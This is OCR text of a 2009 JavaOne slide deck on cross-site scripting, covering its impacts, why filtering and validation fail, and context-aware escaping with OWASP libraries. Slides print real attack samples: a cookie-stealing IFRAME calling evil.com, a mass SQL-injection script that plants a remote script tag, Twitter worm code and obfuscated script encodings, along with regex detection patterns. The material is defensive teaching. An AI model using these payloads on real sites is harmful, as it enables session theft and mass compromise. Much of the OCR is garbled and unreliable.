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Ebola: Courtesy NIH
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You spread XSS every time
you put untrusted data in a
webpage without escaping

Ebola: Courtesy NIH
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Vulnerable Web Applications

> 225,150,000
records leaked
via vulnerable
applications

> 79% of all stolen
records in 2008
came from
breached apps

Courtesy Verizon
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XSS Epidemic

> 70-90% of applications
are vulnerable

> 466 new vulnerable
SSL websites per day
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Jul 2008
= e

(- c Q http//xssed.com/search’key=microsoft b D' )'

3 Note in Reader Twitter / Home (3 Other bookmaris

-

< fiss@ul>

XSS Archive | XSS Archive % | TOP Submitters | TOP Submitters & | TOP F

e Ir : r
Use A Decizion Engine For The Beat iz your wabaite vuinerable to Cross Site
Results. Bing Is Search Evolved! Sopting attacks? Find outs

. Bung.com wn Btunetix. com/ free-edtion

Results for “microsoft” (imtted to 20 entnes per secthon)

XSS:

www.microsoft.com XSS vulnerabity notified by AGD_SCORP
www.microsoft.com XSS vulnerabikty notified by AGD_SCORP
www.laboratoire-microsoft.org XSS vulnerability notfied by Fugitif
www.microsoft-press.de XSS vulnerabilty notified by Fugitif
www.microsoft-press.de XSS vulnerabilty notified by TreX
www.microsofttraining.com XSS vuinerability notfied by www.r3t.n3t.nl
microsoftLmrmpsic.com XSS vulnerability notfied by www.r3Ln3Lnl
microsoft. mrmpsic.com XSS vulnerability notified by www.r3t.n3t.nl
rescarch.microsoft.com XSS vulnerability notfied by Arham Muhammad
microsoft. handango.com XSS vuinerabilty notfied by Fugitif
forums.microsoft.com XSS wuinerabilty notified by THE-SHOCK-BOY
www.microsofttraining.com XSS vuinerability notfied by zuppergazi
www2.microsofttraining.com XSS vulnerabilty notified by Arham Muhammad
msdn.microsoft.com XSS winerability notified by C.D. Backslash
partner.microsoft.co.kr XSS vulnerabdity notified by rEmOLEr
leamingcenter.partners.extranet.microsoft.com XSS vulnerabikty notified by bill
partner.microsoft.co.kr XSS vulnerabidity notified by Thefucker
partner.microsoft.co.kr XSS vulnerabdity notffied by St@rExT
research.microsoft.com XSS vulnerability notfied by Deep Emperor
www.microsoft.com XSS vulnerabiity notified by B34TR180X

‘ m ’
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“Alert Boxes Don’t Scare Me”

Windows Internet Bxplorer [,

i s_vi=[CS]v1|499F801300004D76-A02085300000006[CE]; s_cc=true;
%% s_sq=%5B%5BB%5D%5D;
JSESSIONID=9377DB1CB1D072BDFAF1CODO6F505B60

E OK ;

@S{l}l Asrsct)
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You Are Not the Target

wired xsspired

®.

=
RN I iol
"
attacking users attacking
through applications
applications directly

%?%S'IIII ASPECT)
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Session Hijacking

@S{{}I Asrect)

www.dupe.com

XSS
vulnerability

session
cookie®

2

o

)

<IFRAME
SRC="javascript:window. loca
tion=%22http://
www.evil.com/evil.php?foo=%
22+document. cookie”
height="1" width="1"
frameborder="0">

</IFRAME>

* could also steal or corrupt any data that’s on the page
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Phishing

%?05'[{}1 ASPECT)

www.dupe.com

XSS —
vulnerability =

T
Fake login
form

.-;;“1
il

> Attacker...

Injects a fake login form
Gets victim’s credentials

Victim has no idea
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Installing Malware

www.dupe.com

XSS
vulnerability

= = o, Iredirect to
-y
malware

@S{l}l Asrsct) i

02 -
1 1 1 1 | 1 | | | 1 |
Apr- 2007 My 2007 A 2007 - 2007 Ay 2007 Sep 2007 O 2007 Now 2007 Dec- 2007 Deo- 2007 Jan 2008
Date

Warning - visiting this web site may harm your computer!

You can ieam more about Barmiul wed contert and how 10 protect your

compdter ot SlogBadwale o9
Suggestions

: 2 g SO0 And Deck ancihe result
o Try anctiey Seasch 10 Bind wiad you're ockarg for

Or you can ConBnue 10 haD IWW3IR0ITIOS COMY A pour OwWn ek

Adwsory proeded by LAOORIC
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Mass Distribution

SQL injection
vulnerabilities

script
redirect to
malware

DECLARE @T wvarchar (255),@C
varchar (255) DECLARE

Table Cursor CURSOR FOR select
a.name,b.name from sysobjects
a,syscolumns b where a.id=b.id
and a.xtype='u' and (b.xtype=99
or b.xtype=35 or b.xtype=231 or
b.xtype=167) OPEN Table Cursor
FETCH NEXT FROM Table Cursor
INTO @T,@Q@C WHILE

(RFETCH STATUS=0) BEGIN exec
('update ['+Q@T+'] set ['+@C+']
=rtrim(convert (varchar, [ '+@C

+' 1))+''<script
src=http://c.uc8010.com/
0.js></script>''')FETCH NEXT

FROM Table Cursor INTO @T,@C
END CLOSE Table Cursor
DEALLOCATE Tab lg_Cursor DECLARE
@T varchar (255),@C

Q@ Thousands of sites hit at once

@S{l}l Asrsct)
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Attacking Intranets

www.dupe.com

XSS
vulnerability

- ——

QSIHI ASPEO'I')
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Attacking Intranets

www.dupe.com

XSS
vulnerability

QSZIIZ ASPEcT)
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XSS Worms

XSS
vulnerability

@S{l}l Asrsct)

Twitter

var update = urlencode ("Hey
everyone, join
www.StalkDaily.com. It's a
site like Twitter but with
pictures, videos, and so much
more! :)");

var xss = urlencode('http://
www.stalkdaily.com"></
a><script src="http://
mikeyylolz.uuuq.com/x.js"></
script><script src="http://
mikeyylolz.uuuq.com/x.js"></
script><a ') ;

var ajaxConn = new XHConn () ;
ajaxConn.connect ("/status/
update", "POST",
"authenticity token="+authtok
en+" &status="+update

+" &tab=home&update=update") ;
ajaxConnl.connect ("/account/
settings", "POST",
"authenticity token="+authtok
en+" &user[url]="+xss

+" &tab=home&update=update") ;

Monday, 8 June 2009



XSS vs. Gears/HTML5S

hypothetical Remember
XSS the Milk
vulnerability

[ R R — =)

script steals or
corrupts SQL data |

S e Grrogle

AL

-

¢

@S{l}l Asrsct)
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Sun ASPECT‘)

Percent Encoding

%3c
%3C

HTML Entity Encoding

&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060:;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c
&#x000003c
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;

&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
&lt

&IT

&Lt

&LT

&lt;

&IT;

&Lt;

&LT;

JaQ/aScript Escape
<

\x3c

\X3c

\u003c

\U003c

\x3C

\X3C

\u003C
\U003C

CSS Escape
\3c
\03c
\003c
\0003¢c
\00003c
\3C
\03C
\003C
\0003C
\00003C

Overlong UTF-8
%c0%Dbc
%e0%80%bc
%f0%80%80%bc
%f8%80%80%80%bc
%7fc%80%80%80%80%bc

US-ASCII
Ya

UTF-7
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§ l \ There are 1,677,721,600,000,000 ways to encode <script>

Percent Encoding &#X003c;
%3c &#X0003c;
%3C &#X00003c;
&#X000003c; JavaScript Escape
HTML Entity Encoding &#x3C \<
&#60 &#x03C \x3c
&#060 &#x003C \X3c
&#0060 &#x0003C \u003c
&#00060 &#x00003C \U003c
&#000060 &#x000003C \x3C
&#0000060 &#x3C; \X3C
8#60; 8#x03C; \u003C
Windows Internet Explorer (w3m)

Ape

()

a)
-4

EOK; UTF-8

’{‘:?’o.\'[{}[ ASPECT

)C
RATITANVUUUUUJU, WATL VA A4 IUUO%bC
&#X3c &IT %f0%80%80%bc
&#X03c &Lt %f8%80%80%80%bc
&#X003c &LT %fc%80%80%80%80%bc
&#X0003c &lt;
&#X00003c &lT; US-ASCII
&#X000003c &Lt; Ya
&H#X3c; &LT;
&#X03c; UTF-7
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Have You Been XSSed?

sl | pocsd baed B
<gifiptealer{1 11 s ipt i

Tainied Tables:

@ phpbh_posts = post_text

The <h=script<h> tag is not allowed for security reasons. This tag should not affect the display of the inpast.

L,

http://www.owasp.org/index.php g,
~ Category:OWASP_Scrubbr | =
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http://www.owasp.org/index.php/Category:OWASP_Scrubbr
http://www.owasp.org/index.php/Category:OWASP_Scrubbr

You Have an XSS Problem
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| . .
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@Sll}l Asrscr)
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How Do You Find XSS?

i
i
:
Manual [re— Manual Security
Security Testing IS Code Review
P 1 - »"
------ =
)4 o =
— 1 ECTTm——, \‘
Automated " - " Automated Static
Scanning : Code Analysis
|
)
1
l
Find XSS | Find XSS
In the running application : In the source code
o Lovwr e e l
i
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One Company's Quest...

Escape attribute false 72
Repopulated form input

Simple echoed input

Untrusted data in JavaScript

Untrusted data in comment

Untrusted session attribute

Untrusted data eval()

Use of untrusted JavaScript
Use of untrusted URL

Total Projected XSS
Monday, 8 June 2009

Exploitability
10%
43%
86%

4%
15%
4%
1%
8%
3%




Tracing Exploitability from Source to Sink

Data Bean

POPL L-9-0-Q- Z-0-

Bed PP 0 2 Y- Y-GS~
S— ] : L Cotmtosme LRI
fhe (M Jewce Rfuge feegete S Dt Ben fiedes ey o
g P T PR e Ige Org OWASP SR swingset beans;
Ped D 0 2 Yo Frwer- ¢ class DataBean |
o oniege JOSNRORRNGS. . |vate String rame.
e . i { function '= null ) { 1 mﬂli'\qodlt?s\l
4 String prefix « "org owasp.esapl swingset.actions.”; rate Stning phone;
String shomName = (™ + function dhar AN SoUppesCas vate String zig,
rate SHing ss

Figure out which page was reguested

String pname = shortName + “Tutorial®,

If ( requestgetParameter(“secure™) = null ) {
prame « shortName + "“Secure”;

| else if { request.getParameten “insecure” ) 1= nall ) |
poame = shortName + “Insecure”;

|

st delfault method as ok

String method = “invoke”;

IMgure out which method will be called

iKrequest. getParameten method Y = mull) |
method = request getParameter("method™);

|

Class]] 99 = [HitpterdetRequest class, HitpServietRespo
Obiectt] narams « | renuest resnonses |

.

Welshis vt

LEcan®

lic String getName() |
eturn name.

blic void setName(String name) |
his name = name;

lic String getAddeess() (
eturn adcress,

blic void setAddeess(Stning addeess) |
his address = address,

o)

Presentation
L Im

Seph Dot v finiew Ly
h* S -0-Q-~ 3° 0~ -[,!Mu'j]

| Java.utilDate() o > < fdivs

trvice » UserServiceFactory getUserSenvice()

Muest getRequestURM);

Principal() = null) | .
. | [Rer( printin{

3 © + requesLgetUserPrincipal). getName()

D can <a href=\""
Service.creselogoutURL(thisURL)

@Sun aseeer i

| else |

L orsgnout<far. </p>T)

resporse getWater() printin|
“<p>Please <a hrets\™
+ userService createLognURL(thesURL)
+ \asignin<fa> </p>T)
return,

Mrito WMot  Watsbie

Svent ot
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Tracing Exploitability from Source to S

Data Bean

Moo ooy e et ingeet bame Detslenn jove - Bckpee Postonms |
Business L ngw-&rwwz-—-&—w-m
= PPL L-9-0-G4- O e
- 9 o =» TGSy,
|3 Ieer LT Fagohio oy s e vaingoen Contooke jovs - (b Nozem [ 0 Cotmtmios (L Bureimanions 13 .
PWMMW*‘M&'M’” O OWISD.CSI08 SWinaset bea
p Ay POPL L-9-0-Q- J-0- o [Feai AR R o
Pev- P 0 & h-W-CSr- t class DataBean | .
o JSimpe  JOSmmnineiin. — * |rate String name: Presentat|0n
i { function != nulll ) { | |vate Sting address]
String prefix « "org owasp.esapl swingset.actions.”, rate String phone; ; — ———
String shoName = [+ function charAngd [se Prateens Tl aN
Sepn  Bpet B finiew vy
h*5-0-Q -0~ =1 [ onil)
String pnaene = st me + “Tutoral®,
If ( requestgetParameter(“secure™) = null ) | ‘.
prame « shortName + "“Secure”; -
| else if { requestgetParameten “insecure” ) = nall ) | i void setName(String
poame = shortName + “Insecure”; his name = name;
|
ot default Method as imoks 1 | |owc String getasdresso ¢
S!nrq method = “invoke” eturn address,
¢ out which ' wi od actory getUserSenvice()

lﬁm;m«l gmi‘av.mwn-n method Y =mull) |
method = request getParameter("method”™);
|

Class|) $ig = [HitpSerdetRequest class, HitpServietRespo
Obiectl] narams « | renuest. resnonee |

dlic void setAddeess(Stning addeess) |
his address = address;

rPrincipal).getName()

it

Sauno

Can <a Puﬂ =\"*
Service.creselLogoutURL(thisURL)

el
Ss&auL®

.

%?05'[{}1 ASPECT)

L orsgnot<far < /p>T)
P24 jelse |
resporse getWeter() printing
“<p>Piease <a hreds\™
+ userService createLognURL(thesURL)

+

Nesignn</as> </p>T)
return,

Mribo. sWint  Watsbie
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HUTS

JavaOne
Don't Worry about XSSploitability

OSCAR ROGERS
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Where Does the Solution Go?

untrusted untrusted

a data a data
 backend
a e services
/ « files
« XML
\ « external
a  feeds

“Untrusted Data” — any data that you can't
guarantee to be free from scripts.

Yy

b

"-\.-_ "

victim

%?05'[{}1 ASPECT)
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%&#505\u003253¢cxss% &#5052\36%&#505\u00323%28%\u0032526%2523%29%25253€

‘» %25253¢cx55%2526%2523x28%2526%2523x29%25253¢€

L>%253cxss%26%23x28%26%23x29%253e

L>%30xss&#x28&#x29%39
0

~p %3cxss()%3e
Lb <xss()>

(%%S’[{H ASPECT)
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Validation Can't Totally Prevent XSS
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JavaOne
Validation Can't Totally Prevent XSS

FWindows Internet Explorer @‘ ' L %

I } Neobody canonicalizes

o SP CR LF

€» 51171 aseecr)
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Validation Can't Totally Prevent XSS

FWindows Internet Explorer ‘ ' L 0/0

ng Neobody canonicalizes
- SP CR LF

FWindows Internet Explorer

YUl y m
h You need special characters in your data y

N7 ASPECT]
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Validation Can't Totally Prevent XSS

— - — — : — — | B " s
Windows Internet Explorer EX] Windows Internet Explorer (3] b
l l Nobody canonicalizes LIA Blacklists don't work

5
" Windows Internet Explorer

NUl1 A u
h You need special characters in your data y

& ST ASPECT)
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HIS

H ML ASimple  BllJavaScript
iciment Quoted Data
o &#HXHH Attributes [ Values
o &#xH e \xHH

Monday, 8 June 2009


http://www.owasp.org/index.php/XSS%2520Prevention
http://www.owasp.org/index.php/XSS%2520Prevention

JavaOne
ey ASimpie 1 JavaScript

ieinent Quoted Data
o &#xHH Attributes EValues

Windows Internet Explorer (5w

There is no place in HTML where you can put untrusted data without

__L escaping!

51N asee

Monday, 8 June 2009
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JavaOne

H ML ASimple 1 JavaScript
Ieinent Quoted Data
« &#xHH MAttributes BValues
Windows Internet Explorer (5w
__L Z?cear:i:g?o FMessage from webpage @"Ut

, l\ There's no real harm in over-escaping

4 |
| m

51N asee
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HUS

JavaOne
JavaScriot Commentsgh.
Code I \[o

* No

Unquoted
Expressio JAttributes
ns I \[o
N\ [

@ Sun asee
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Don't Attempt to Filter Scripts

. € Prevent XSS exploit - Real's Java How-to - Windows Internet Explorer

O » [ rtpwwnr. ~[ B4 x][43

L v

iy Favorites | & @) Share [J)Read.. g Blog.. &) IPPh.. & Tasks [M] Cont.. *§ Goog...

»

Sanitize the input by removing suspicious tags.

This regex function removes the obvious code to inject unwanted scripting.

public static String sanitize(String string) {
return string

.replacedll (" (?1)< . ®?javascript: . #7)> w7/ w?5",
.replaceAll("(?21)< . %?\\s+on.*?)> %®2</ %*7?>", "");

(?1) make it case insensitive

case 1 : <script> are removed

case 2 : javascript: call are removed

case 3 : remove on™ attributes like onLoad or onClick

Dor & Internet | Protected Mode: On

.replaceAll("(?1)<script . *?> *7</script. *?>", "")
'.)

98|~ fP.. X |@ Apa.. M~ v (Y pe v Pagev Safety~v Toolcv @~

Bad Idea

4

lﬁ'

#,100%

",

- ]
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Get a

Securlty Escaping L|brary

g f) -\

fe Hlerarchy‘

%

L v 4
\|e"

#

4

P =
« £,

org.owasp.esapi
import declarations
Encoder 410 12/21/08 2:08 PM plar

® ©© 0 © O © 0O ©® O O O O

canonicalize(String)
canonicalize(String, boolean)
decodeFromBase64(String)
decodeFromURL(String)
encodeForBase64(byte[], boole
encodeForCSS(String)
encodeForDN(String)
encodeForHTML(String)
encodeForHTMLAttribute(Strir
encodeForlavaScript(String)
encodeForLDAP(String)
encodeForOS(Codec, String)
encodeForSQL(Ceodec, String)
encodeForURL(String)

@ encodeForVBScrint(Strinal

Before

Your Web Application

Controller

&) Business Data

Functions Layer
Presentaticn

— HQEY

OWASP
After
Your Web Application
Controller
Business Data
Functions Layer
Presentafon
""'{ ! !
Your Enterprise Security AP

mp:/_/www.owasg_ .o_rg/
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http://www.owasp.org/index.php/ESAPI
http://www.owasp.org/index.php/ESAPI
http://www.owasp.org/index.php/ESAPI
http://www.owasp.org/index.php/Image:Esapi-before-after.JPG
http://www.owasp.org/index.php/Image:Esapi-before-after.JPG

) obfuscated,jsp - WordPad
File Edit View Insert Format Help

DEE SR 4 @B B

<html>

<head> <title>Obfuscated </title> </head >|
<body>

<a href="&#x6a,&#x61,&#x76,X#x61,&#x73;XH#X63;&#XT72;&H#x69,&#x70,&#x74;&#x3a;
S HX61; X HXOC; X WXOE; & HXT 2, & HXTA; & #X 28 K #X64; & WX, &H#X63; & #XT5&#xXx6d&#Xx65;
K HXCO, R HX T4, & H#X 20, & #HXE6 3 X H#XC[, X #XC[; X #H#XECD, & #X69, & #X65,&#x29;">test 1L </a>

<a href="javascript:9661%6c%65%72%74%28%64%6[%63%75%6d%65%6e% 74%2e%
63%6[2%6f%6b%69%65%29">test 2</a>

<div style="background-image:\0075\0072\006C\0028"'\006a\0061\0076\0061\0073\0063
\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053
\0027\0029\0029" > test 3 </div>

</body>

w73 http://ha.ckers.org/xss.html
</html>

For Help, press F1

m
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JavaOne

Escaping in Servlets

You must escape all untrusted data...

String foo = request.getParameter( "foo" ),
out.printin( encoder.escapeForHtmIBody( foo ) );
out.printn( encoder.escapeForJavaScript( foo ) );
out.println( encoder.escapeForCSS( foo ) );

Pay attention to the context!

Sun ASPECT‘)
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Escaping in Servlets

String foo = bean.getFoo();

out.printIn("<input
name=\"foo\" value=\"" +
encoder.escapeForHtmlAttribute(foo) + "\"/>

Pay attention to the context!

‘@?‘S’[{}} ASPECT?
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Escaping in JSP and JSTL

<tAput-valbe=<%= : foe)S

<4:ﬁ|9ut—va =<€: =" - \4

Unquoted

${f€6} Quotes don’t
help with URL

Except for body and quoted attributes,
you have to do all your own escaping

<%=encoder.escapeForCSS(foo)%> ﬁ Note the

<c:out value="${foo}" eseapexmi="faise” /> |

@ Sun ASPECT‘)
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Escaping in JSF

Lots of loopholes...URLs, CSS, scripts, events

<%=encoder.escapeFordavaScript(foo)%>

<h:outputText value="${foo}" esecape="false" />

Only safe in
HTML context

Pay attention to the context!

‘2:?0‘\'[{}1 ASPECTT)
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Which Tags Escape nght’?

h

Monday, 8 June 2009

{

."quhv' L P a BT
R u-.mw»nq... ..,',.'I..,.
W Teg ey R 9 D - e Qe

Tag Library Report

Label

i

Anebate  Tag Based Quate Anvbate Bused Apesinphe Uniate Rised Tront Rined URL Basad €55 Ruved

sag rert

P ;;z;;!Illg;§§§&§;l=;'ii!;;

WWW.OW Or
o @ AVAYFA

OWASP


http://www.owasp.org/index.php/Category:OWASP_JSP_Testing_Tool_Project
http://www.owasp.org/index.php/Category:OWASP_JSP_Testing_Tool_Project
http://www.owasp.org/index.php/Category:OWASP_JSP_Testing_Tool_Project
http://www.owasp.org/index.php/Category:OWASP_JSP_Testing_Tool_Project
http://www.owasp.org/index.php/Category:OWASP_JSP_Testing_Tool_Project

Regex Appendix — For Reference Later

Simple use of untrusted data

<%=.*(getParam|getHeader|getCookie).*%>

Untrusted data repopulating a form

<input.*value\s*=\s*".*<%=

Untrusted data in a URL

(src|hrefldata)=.*<%=

Simple data flow

(?s)\s+(\w+)\s*=[Mn]*\.(getParam|getHeader|getCookie).*<%=."\1

Complex data flow via session, beans, or
databases- Static analysis tools can find
some, but most are not possible

N/A

Escaping is turned off

(filter|escape(Xml)?)="false"

Tags that don't escape enough

<f.verbatim.*\(#\{|%=\), <h:outputlink.*\(#\{|%=\), lots more...

Untrusted data in a commented out script

(28)N\* *2<%=\*/

Untrusted data in Ajax

\seval\s*\(

Monday, 8 June 2009




JavaOne

What About Rich Content?

o

OWASP
HTML
|
|
HEAD BODY onload=
|
| | | | |
TITLE STYLE H1 SCRIPT DIV DIV
onblur= style=
H1 Hello JavaOne This is a simple A
expression document href=
]
[ ] A [ [ 3 - [ ars [ AN
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JavaOne

What About Rich Content?

& Java EL - FargoMorth/' wae/ ArtiSamy j1p - Ecligse Platform
| file [dt Scurce Refactor Nengate Segech Propect Bum  Window Help

L f— 66:‘ “'3'0"{.' Bl A > ¢ y "
ndes 1p 1, Controller java 1 Databean java L AntSamysp
page language=jjava® contentType = "text/htmi; charset=UTF-8" pageEncoding="UTF-8"
dage import="org.owasp.esom.*’
nead> <titie> AntiSamy < /title > </head
i String input = request.getParameter(Tinput”);
TITL String markup = ESAPLvalidator().getValidSafeHTML("input”, input, 2500, false);

2>Safe HTML Markup </h
markup

Mmi‘bedy.tet/Stet | Wrkable Smart Insart 7:3

R Ea08S0

OWASP
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i}
i :
| i,

+J g

Fat 3

-what:z 3
b E_ﬁﬂﬁﬁeptodn
> iR rubustnessm m]b l
_edfiioie =2 ¢ F
oG E 5
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@ Sun aseecr
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Jeff Williams
jeff.williams@aspectsecurity.com

Aspect Securit Aspecr);; | w_

http://www.aspectsecurity.com

jeff.williams@aspectsecurity.com
Twitter Questions: @planetlevel

VS arecy
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JavaOne

Make Good Escaping Easy

Custom
Applications

Integration

Built-in Escaping

QSun AsPECT|
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Does Your Validation Canonicalize?

%28#x35;2%35258#x32;\u0036lt;script% _
&#x% % %3333\u0033;&%23101; <script>

Untruste Can_onica Validate Use
lize Data
d Data

Log: Multiple (5x) and mixed encoding detected

http://www. ra/in h |
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